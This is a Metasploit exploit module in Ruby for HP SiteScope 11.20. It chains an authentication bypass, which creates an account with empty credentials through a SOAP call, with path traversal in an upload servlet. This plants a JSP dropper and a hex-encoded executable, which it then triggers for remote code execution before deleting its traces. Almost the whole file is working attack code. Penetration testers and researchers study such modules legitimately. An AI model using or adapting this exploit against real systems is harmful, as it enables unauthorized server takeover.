metasploit-framework/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'HP SiteScope Remote Code Execution',
			'Description' => %q{
					This module exploits a code execution flaw in HP SiteScope. It exploits two
				vulnerabilities in order to get its objective. An authentication bypass in the
				create operation, available through the APIPreferenceImpl AXIS service, to create
				a new account with empty credentials and, subsequently, uses the new account to
				abuse the UploadManagerServlet and upload an arbitrary payload embedded in a JSP.
				The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2
				and Linux CentOS 6.3.
			},
			'Author'       =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '85121' ],
					[ 'OSVDB', '85151' ],
					[ 'BID', '55269' ],
					[ 'BID', '55273' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-174/' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-175/' ]
				],
			'Privileged'  => true,
			'Platform'    => [ 'win', 'linux' ],
			'Targets'     =>
				[
					[ 'HP SiteScope 11.20 / Windows 2003 SP2',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],
					[ 'HP SiteScope 11.20 / Linux CentOS 6.3',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 29 2012'))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
			], self.class)
	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("../#{@var_hexfile}.txt")
			client.fs.file.rm("../#{@jsp_name}.jsp")
		else
			if target['Platform'] == 'linux'
				client.shell_command_token("rm ../#{@var_hexfile}.txt")
				client.shell_command_token("rm ../#{@jsp_name}.jsp")
			elsif target['Platform'] == 'win'
				client.shell_command_token("del ..\\#{@var_hexfile}.txt")
				client.shell_command_token("del ..\\#{@jsp_name}.jsp")
			end
		end
	end

	def exploit
		@peer = "#{rhost}:#{rport}"
		@uri = target_uri.path
		@uri << '/' if @uri[-1,1] != '/'

		# Create user with empty credentials
		print_status("#{@peer} - Creating user with empty credentials")

		if create_user.nil?
			print_error("#{@peer} - Failed to create user")
			return
		end

		# Generate an initial JSESSIONID
		print_status("#{@peer} - Retrieving an initial JSESSIONID")
		res = send_request_cgi(
			'uri'    => "#{@uri}servlet/Main",
			'method' => 'POST'
		)

		if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
			session_id = $1
		else
			print_error("#{@peer} - Retrieve of initial JSESSIONID failed")
			return
		end

		# Authenticate
		login_data = "j_username=&j_password="

		print_status("#{@peer} - Authenticating on HP SiteScope Configuration")
		res = send_request_cgi(
			{
				'uri'    => "#{@uri}j_security_check",
				'method' => 'POST',
				'data'   => login_data,
				'ctype'  => "application/x-www-form-urlencoded",
				'headers' =>
					{
						'Cookie' => "JSESSIONID=#{session_id}",
					}
			})

		if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
			session_id = $1
			redirect =  URI(res.headers['Location']).path
		else
			print_error("#{@peer} - Authentication on SiteScope failed")
			return
		end

		# Follow redirection to complete authentication process
		print_status("#{@peer} - Following redirection to finish authentication")
		res = send_request_cgi(
			{
				'uri' => redirect,
				'method' => 'GET',
				'headers' =>
					{
						'Cookie' => "JSESSIONID=#{session_id}",
					}
			})

		if not res or res.code != 200
			print_error("#{@peer} - Authentication on SiteScope failed")
			return
		end

		# Upload the JSP and the raw payload
		@jsp_name = rand_text_alphanumeric(8+rand(8))

		# begin <payload>.jsp
		var_hexpath       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_exepath       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_data          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_inputstream   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_outputstream  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_numbytes      = Rex::Text.rand_text_alpha(rand(8)+8)
		var_bytearray     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_bytes         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_counter       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_char1         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_char2         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_comb          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_exe           = Rex::Text.rand_text_alpha(rand(8)+8)
		@var_hexfile      = Rex::Text.rand_text_alpha(rand(8)+8)
		var_proc          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_fperm         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_fdel          = Rex::Text.rand_text_alpha(rand(8)+8)

		jspraw =  "<%@ page import=\"java.io.*\" %>\n"
		jspraw << "<%\n"
		jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
		jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
		jspraw << "String #{var_data} = \"\";\n"

		jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
		jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
		jspraw << "}\n"

		jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
		jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"

		jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
		jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
		jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
		jspraw << "#{var_inputstream}.close();\n"

		jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
		jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
		jspraw << "{\n"
		jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
		jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
		jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
		jspraw << "#{var_comb} <<= 4;\n"
		jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
		jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
		jspraw << "}\n"

		jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
		jspraw << "#{var_outputstream}.close();\n"

		jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
		jspraw << "String[] #{var_fperm} = new String[3];\n"
		jspraw << "#{var_fperm}[0] = \"chmod\";\n"
		jspraw << "#{var_fperm}[1] = \"+x\";\n"
		jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
		jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
		jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
		jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
		jspraw << "}\n"
		# Linux and other UNICES allow removing files while they are in use...
		jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
		jspraw << "} else {\n"
		# Windows does not ..
		jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
		jspraw << "}\n"

		jspraw << "%>\n"

		# Specify the payload in hex as an extra file..
		payload_hex = payload.encoded_exe.unpack('H*')[0]

		post_data = Rex::MIME::Message.new
		post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")

		if target['Platform'] == "linux"
			traversal = "../../../../../../"
		elsif target['Platform'] == "win"
			traversal = "..\\..\\..\\..\\..\\..\\"
		end

		print_status("#{@peer} - Uploading the payload")
		res = send_request_cgi(
			{
				'uri'    => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true",
				'method' => 'POST',
				'data'   => post_data.to_s,
				'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
				'headers' =>
					{
						'Cookie' => "JSESSIONID=#{session_id}",
					}
			})

		if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
			path = $1
			print_good("#{@peer} - Payload successfully uploaded to #{path}")
		else
			print_error("#{@peer} - Error uploading the Payload")
			return
		end

		post_data = Rex::MIME::Message.new
		post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")

		print_status("#{@peer} - Uploading the JSP")
		res = send_request_cgi(
			{
				'uri'    => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true",
				'method' => 'POST',
				'data'   => post_data.to_s,
				'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
				'headers' =>
					{
						'Cookie' => "JSESSIONID=#{session_id}",
					}
			})

		if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
			path = $1
			print_good("#{@peer} - JSP successfully uploaded to #{path}")
		else
			print_error("#{@peer} - Error uploading the JSP")
			return
		end

		print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
		send_request_cgi(
			{
				'uri'    => "#{@uri}#{@jsp_name}.jsp",
				'method' => 'GET',
				'headers' =>
					{
						'Cookie' => "JSESSIONID=#{session_id}",
					}
			})
	end

	def create_user

		data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
		data << "<wsns0:Envelope" + "\r\n"
		data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
		data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
		data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
		data << ">" + "\r\n"
		data << "<wsns0:Body" + "\r\n"
		data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
		data << ">" + "\r\n"
		data << "<impl:create" + "\r\n"
		data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
		data << ">" + "\r\n"
		data << "<in0" + "\r\n"
		data << "xsi:type='xsd:string'" + "\r\n"
		data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
		data << ">UserInstancePreferences</in0>" + "\r\n"
		data << "<in1" + "\r\n"
		data << "xsi:type='apachesoap:Map'" + "\r\n"
		data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
		data << ">" + "\r\n"
		data << "<item" + "\r\n"
		data << "xsi:type='apachesoap:mapItem'" + "\r\n"
		data << ">" + "\r\n"
		data << "<key" + "\r\n"
		data << "xsi:nil='true'" + "\r\n"
		data << "xsi:type='xsd:anyType'" + "\r\n"
		data << "></key>" + "\r\n"
		data << "<value" + "\r\n"
		data << "xsi:nil='true'" + "\r\n"
		data << "xsi:type='xsd:anyType'" + "\r\n"
		data << "></value>" + "\r\n"
		data << "</item>" + "\r\n"
		data << "</in1>" + "\r\n"
		data << "</impl:create>" + "\r\n"
		data << "</wsns0:Body>" + "\r\n"
		data << "</wsns0:Envelope>" + "\r\n"

		res = send_request_cgi({
			'uri'      => "#{@uri}services/APIPreferenceImpl",
			'method'   => 'POST',
			'ctype'    => 'text/xml; charset=UTF-8',
			'data'     => data,
			'headers'  => {
				'SOAPAction'    => '""',
			}})

		if res and res.code == 200 and res.body =~ /createResponse/ and res.body =~ /_id/
			return res
		end

		return nil

	end

end